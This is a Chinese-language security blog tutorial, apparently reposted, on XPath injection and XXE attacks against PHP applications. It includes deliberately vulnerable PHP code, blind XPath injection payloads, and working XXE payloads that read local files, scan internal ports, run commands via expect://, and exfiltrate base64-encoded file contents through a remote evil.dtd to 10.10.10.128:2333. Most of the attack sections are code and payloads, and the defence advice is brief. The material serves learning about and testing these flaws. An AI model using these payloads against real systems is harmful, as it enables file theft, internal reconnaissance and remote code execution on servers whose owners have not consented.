XML相关的安全漏洞-XXE,XPATH小结(XXE注入、XPATH注入)
0x00前言:
本文主要小結(jié)以下php下的xpath查詢xml結(jié)構(gòu)的漏洞利用和XXE漏洞利用
xml是可擴展標記語言,它被設計出來是為了存儲傳輸數(shù)據(jù)的。
它的結(jié)構(gòu)是樹形結(jié)構(gòu),并且標簽要成對出現(xiàn)比如下面這個例子
<?xml version="1.0" encoding="utf-8"?> <root><name>sijidou</name><from><country>China</country><city>xxxxx</city></from> </root>把上面的代碼畫個示意圖
0x01xpath注入:
因為xml的產(chǎn)生是用于存儲和傳輸數(shù)據(jù)的
既然能夠存儲數(shù)據(jù),那么本質(zhì)上和數(shù)據(jù)庫一樣是能夠被增刪改查的
雖然它在實際中不像數(shù)據(jù)庫一樣是來存大量用戶數(shù)據(jù)的,但是xml在存儲配置信息上還是十分有用的
就像sql注入一樣,xml文件也可以被注入,并且xml沒有管理用戶一說,即能訪問xml文件的話,對該xml的權(quán)限是一致的
首先準備下存儲數(shù)據(jù)的xml文件
<?xml version="1.0" encoding="UTF-8"?> <root><name>sijidou</name><from><country>China</country><city>Jiangsu</city></from><name>miku</name><from><country>Janpan</country><city>null</city></from><name>Rose</name><from><country>US</country><city>London</city></from> </root>接下來使用php進行數(shù)據(jù)讀取的操作
simplexml_load_file是讀取xml文件
xpath是查詢語句,結(jié)果以數(shù)組返回給$result。查詢語句結(jié)構(gòu)是每個節(jié)點間用 "/" 來隔開,之后使用標簽和鍵值匹配的結(jié)果
<?php$xml = simplexml_load_file("sijidou.xml");$result = $xml->xpath("/root[name = 'sijidou']");var_dump($result); ?>這里將不同的查詢語句和輸出結(jié)果展示如下
查詢語句
$result = $xml->xpath("/root/name");輸出值
array(3) { [0]=> object(SimpleXMLElement)#2 (1) { [0]=> string(7) "sijidou" } [1]=> object(SimpleXMLElement)#3 (1) { [0]=> string(4) "miku" } [2]=> object(SimpleXMLElement)#4 (1) { [0]=> string(4) "Rose" } }查詢語句
$result = $xml->xpath("/root[name = 'sijidou']");輸出值
array(1) { [0]=> object(SimpleXMLElement)#2 (2) { ["name"]=> array(3) { [0]=> string(7) "sijidou" [1]=> string(4) "miku" [2]=> string(4) "Rose" } ["from"]=> array(3) { [0]=> object(SimpleXMLElement)#3 (2) { ["country"]=> string(5) "China" ["city"]=> string(7) "Jiangsu" } [1]=> object(SimpleXMLElement)#4 (2) { ["country"]=> string(6) "Janpan" ["city"]=> string(4) "null" } [2]=> object(SimpleXMLElement)#5 (2) { ["country"]=> string(2) "US" ["city"]=> string(6) "London" } } } }查詢語句
$result = $xml->xpath("/root/from[country = 'China']");輸出值
array(1) { [0]=> object(SimpleXMLElement)#2 (2) { ["country"]=> string(5) "China" ["city"]=> string(7) "Jiangsu" } }從上面的結(jié)果看得出來,查詢?nèi)绻皇怯肹鍵='值']這種方式的查詢,只會返回所有路徑標簽的值
如果帶有[鍵='值']的查詢,會返回和該路徑相同的所有路徑和該類路徑之下節(jié)點的所有的值
那么查詢語句結(jié)構(gòu)大致清楚了,作為被存儲數(shù)據(jù)的文件,一般會把某個值用戶可控,然后拼接語句進行搜索
<?php$country = $_GET["country"];$xml = simplexml_load_file("sijidou.xml");$result = $xml->xpath("/root/from[country = '" . $country . "']");var_dump($result); ?>正常的輸入China,那么就會返回China和Jiangsu 2個值,但是xml查詢語句有一些特殊的關鍵字,先介紹2個基礎有用的
or 或 and 與那么我們子GET的值傳入country = '1' or '1'='1,可以看到能查看到所有<from>的值,之前如果輸入country=China,只能看到包含China的<from>標簽里面的值
那么列出xml文件的所有元素
']|//* |a[' 拼接成完整的語句是 /root/from[country = '']|//* |a['']那么其中涉及到一些特殊表示
| 有點像linux系統(tǒng)命令的 && 來表示新的查詢語言起始 //* 根路徑下的所有參數(shù) *是通配符有時候沒有回顯的時候,就要利用判斷語句進行盲注了
判斷節(jié)點個數(shù)
1' or count(/*)=1 and '1'='1猜字段內(nèi)容, 查根節(jié)點的名字,如果按照我上面的xml文件,這里就是root
1' or substring(name(/*[position()=1]),1,1)='r' and '1'='1 1' or substring(name(/*[position()=1]),2,1)='o' and '1'='1猜字段內(nèi)容,查根節(jié)點<root>下一個節(jié)點的名字,這里是<name>
1' or substring(name(/root/*[position()=1]),1,1)='n' and '1'='1判斷根節(jié)點的下一個節(jié)點個數(shù)
1' or count(/root/*)=3 and '1'='1猜節(jié)點里面內(nèi)容
#查China節(jié)點 1' or substring(/root/from/country,1,1)='C' and '1'='1 #如果是查Janpan節(jié)點的話,要在前面的from加個下標 1' or substring(/root/from[2]/country,1,1)='J' and '1'='1當然還有很多利用方法,有一個叫xcat的python工具可以進行測試,有興趣的可以去嘗試
https://github.com/orf/xcat
防御手段可以通過轉(zhuǎn)義單引號或者關鍵字識別來達到阻止注入。
0x02XXE:
XXE叫做XML外部實體注入
現(xiàn)在傳送數(shù)據(jù)的手段除了xml,還有json了,如果說兩者有什么不同,xml是樹形結(jié)構(gòu),而json是鍵值對的關系,json的2個數(shù)據(jù)間沒有結(jié)構(gòu)上的關系
一般的xml文件是這樣的
<?xml version="1.0" encoding="utf-8"?> <root><name>sijidou</name><from><country>China</country><city>xxxxx</city></from> </root>這種無法就是存儲和被當做數(shù)據(jù)傳遞,并沒有執(zhí)行什么可疑的操作
但是xml有個叫做DTD(Document Type Definition)的東西
它可以規(guī)定xml里面的元素的行為,它的存在形式可以嵌套在xml文件里面,也可以單獨成為一個文件,xml要使用其規(guī)則就直接添加一行引入就行
觀察xml和dtd的約束規(guī)律,理論上要寫java或者php或其他編程語言來檢查文件,或報錯。但是菜鳥教程上有個頁面可以驗證是否正確,但是要IE瀏覽器
XML 驗證器 | 菜鳥教程
內(nèi)部申明
<!DOCTYPE 根元素 [元素聲明]>套入上面的例子中
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[<!ELEMENT root (name,from)><!ELEMENT name (#PCDATA)><!ELEMENT from (country,city)><!ELEMENT country (#PCDATA)><!ENTITY wa "China"><!ELEMENT city (#PCDATA)> ]> <root><name>sijidou</name><from><country>&wa;</country><city>xxxx</city></from> </root>丟到剛剛推薦的網(wǎng)頁上去檢查
假設刪掉一個city的元素聲明,就報錯了
DTD來規(guī)定xml意味著,DTD申明的元素下面xml必須包含,并且只能含有DTD申明的元素,(#PCDATA)為可讀取的字段, (name, from)表示還包含子節(jié)點,它是個根節(jié)點或者中間節(jié)點
DOCTYPE可以理解為DTD文件起始,ELEMENT是對每個節(jié)點的規(guī)定,ENTITY給變量賦值,也就像編程時候的常數(shù)變量
外部申明
<!DOCTYPE 根元素 SYSTEM "文件名">把規(guī)則先寫到一個單一的文件夾下,test_dtd.dtd
<!ELEMENT root (name,from)> <!ELEMENT name (#PCDATA)> <!ELEMENT from (country,city)> <!ELEMENT country (#PCDATA)> <!ENTITY wa "China"> <!ELEMENT city (#PCDATA)>然后在xml中引入該文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root SYSTEM "test_dtd.dtd"> <root> <name>sijidou</name> <from><country>&wa;</country><city>xxxx</city> </from> </root>XXE這種攻擊手段就是通過外部申明實體來完成的,因為
<!DOCTYPE root SYSTEM "file"> 因為有時候是從web其他的站點引入dtd文件的,所以這個file可以帶協(xié)議頭,比如file://,php://filter之類的
再者可以通過ENTITY來輸出變量的值,變量的值也可以是文件
那么我們可以利用把文件內(nèi)容賦值給變量,然后再輸出變量,就把文件內(nèi)容輸出來了
讀取文件內(nèi)容
漏洞源碼
<?php$xmlfile =file_get_contents('php://input');$xml = simplexml_load_string($xmlfile);$xxe = $xml->xxe;$str = "$xxe";echo $str; ?>然后是漏洞利用poc
<?xml version="1.0"?> <!DOCTYPE root[<!ENTITY c SYSTEM "file:///c:/windows/win.ini"> ]> <root> <xxe>&c;</xxe> </root>看到可以成功讀取我本地電腦上的c:/windows/win.ini文件了,但是貌似只能支持絕對路徑
端口掃描
掃描端口是利用http協(xié)議,帶上目標端口地址的ip,當然請求是目標服務器發(fā)出的所以只要連了內(nèi)網(wǎng)還能掃描內(nèi)網(wǎng)的端口
<?xml version="1.0"?> <!DOCTYPE root[<!ENTITY c SYSTEM "http://127.0.0.1:80"> ]> <root> <xxe>&c;</xxe> </root>成功的回顯
失敗的回顯
通過DTD進行信息回顯
因為有時候xml是注入進去了,但是沒有回顯,比如以下情況
<?php$xmlfile =file_get_contents('php://input');$xml = simplexml_load_string($xmlfile); ?>發(fā)送情況,啥都沒有,但是xml是進行了加載的
那么可以通過dtd文件進行回顯
原理是用加載遠程的dtd文件,然后通過遠程的dtd文件把file文件內(nèi)容以url后面參數(shù)的形式發(fā)給遠程服務器,url的get參數(shù)會記錄在日志中,于是就能獲得文件內(nèi)容
本地發(fā)送的payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % send SYSTEM "http://10.10.10.128/evil.dtd"> %send; ]> <root>&xml;</root>遠程的evil.dtd文件
<?xml version="1.0" encoding="utf-8"?> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini"> <!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>"> %payload;這里的 %[空格]file 表示file這個變量,參數(shù)是 SYSTEM "..."
使用變量即%file;,之后那個單獨的%payload;那一行,表示執(zhí)行第三行<!ENTITY % payload .....>這條語句,不加就不會執(zhí)行
利用方式,首先在遠程服務器上監(jiān)聽2333端口
然后,burpsuite把poc發(fā)過去
回頭這邊的遠程服務器接收到了數(shù)據(jù)了
看看wireshark的流量,也可也看到get請求
再把base64解個碼就是文件的內(nèi)容了
這里特別要注意幾個點,因為最先測試的時候,并沒有完全使用網(wǎng)上的poc,想試著手寫以下,然后無法回顯,最后仔細研究了下
參考的XXE文章沒有提到
發(fā)送的payload的
<root>&xml;</root>要和遠程服務器上的evil.dtd中的為payload參數(shù)的 <!ENTITY xml SYSTEM ....>里面這個xml參數(shù)要一模一樣,不然無法利用成功
<!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>">還有一點,因為win.ini里面有空格換行或者其他奇怪的字符,如果直接發(fā)送給遠程服務器當get會不和規(guī)范,所以借助php://filter進行編碼處理
遠程代碼執(zhí)行
這種情況需要php安裝并啟用expect插件,那么在xxe的時候能夠使用expect協(xié)議進行遠程代碼執(zhí)行
<?xml version="1.0"?> <!DOCTYPE root[<!ENTITY c SYSTEM "expect://dir"> ]> <root> <xxe>&c;</xxe> </root>0x03無法利用:
我搭建的環(huán)境是win10 + phpstudy,最先使用的php版本是5.6,發(fā)現(xiàn)并無法利用xxe,然后測試了下所有的phpstudy上的php版本
發(fā)現(xiàn)5.4及以下能夠利用,而5.5及以上都無法利用
從這篇文章中找到了答案:【XXE】XXE漏洞攻擊與防御 - 簡書
原因是xmllib2.9.0以后,是默認不解析外部實體的
這里我的php5.4的xmllib是2.7.8的
切換成php5.5,發(fā)現(xiàn)xmllib是2.9.4的了
0xFF結(jié)語:
參考鏈接
xml的攻擊手段:XML注入介紹--XXE,XEE,xpath等 - lcamry - 博客園
xpath的基礎介紹:XPath 語法
xpath注入利用:技術成就夢想51CTO-中國領先的IT技術網(wǎng)站
?xpath注入詳解 - 滲透測試中心 - 博客園
XXE參考:[Web安全] XXE漏洞攻防學習(上) - ESHLkangi - 博客園
[Web安全] XXE漏洞攻防學習(中) - ESHLkangi - 博客園
XXE漏洞利用技巧:從XML到遠程代碼執(zhí)行 - FreeBuf網(wǎng)絡安全行業(yè)門戶
xxe漏洞的學習與利用總結(jié) - 水泡泡 - 博客園
【XXE】XXE漏洞攻擊與防御 - 簡書
源碼丟github上了:https://github.com/SiJiDo/WEB/tree/master/XML
總結(jié)
以上是生活随笔為你收集整理的XML相关的安全漏洞-XXE,XPATH小结(XXE注入、XPATH注入)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python - 获取时间戳(10位和1
- 下一篇: Python 字符串前面加u,r,b,f